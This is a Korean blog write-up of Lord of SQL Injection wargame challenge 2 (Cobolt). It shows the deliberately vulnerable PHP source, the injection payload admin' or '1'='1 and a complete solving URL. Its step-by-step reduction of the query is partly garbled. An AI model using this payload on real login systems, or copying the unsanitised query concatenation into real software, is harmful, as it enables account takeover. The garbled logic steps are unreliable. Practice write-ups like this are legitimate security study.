워게임

Lord of SQL Injection - 2번 문제풀이

풉키홍키 2023. 1. 1. 23:21

[2번 문제 - Cobolt]

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'== 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  highlight_file(__FILE__); 
?>
cs

해당 문제를 풀려면 계정명이 'admin'으로 로그인 해야 한다.

쿼리문에서 pw부분이 md5 함수를 사용했지만, 굳이 신경 쓸 필요가 없다.

왜냐하면 해당 쿼리문에서 ID를 admin으로 만들고 OR 조건문을 이용해서 참인 결과값으로 만든다면 뒤에 오는 AND 조건문 뒤의 pw의 값은 참 이든 거짓이든 상관없이 참인 결과값이 나와서 admin 계정으로 로그인 성공하게 된다.

 

## SQL 문에서 AND와 OR의 우선순위는 AND가 더 높다.

 

[기존 구문]

select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')

 

[공격 구문]

ID 파라미터 : admin' or '1'='1

PW 파라미터 : qwer (아무 값이나 넣자)

 

[완성 구문]

select id from prob_cobolt where id='admin' or '1'='1' and pw=md5('qwer')

-> select id from prob_cobolt where id= or 참 and 거짓

-> select id from prob_cobolt where id= or 거짓

-> select id from prob_cobolt where id=

 

결과적으로 id가 admin인 계정으로 참인 결과값이 나와 해당 문제를 풀 수 있게 된다.

 

[문제 풀이 구문]

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%20or%20%271%27=%271&pw=qwer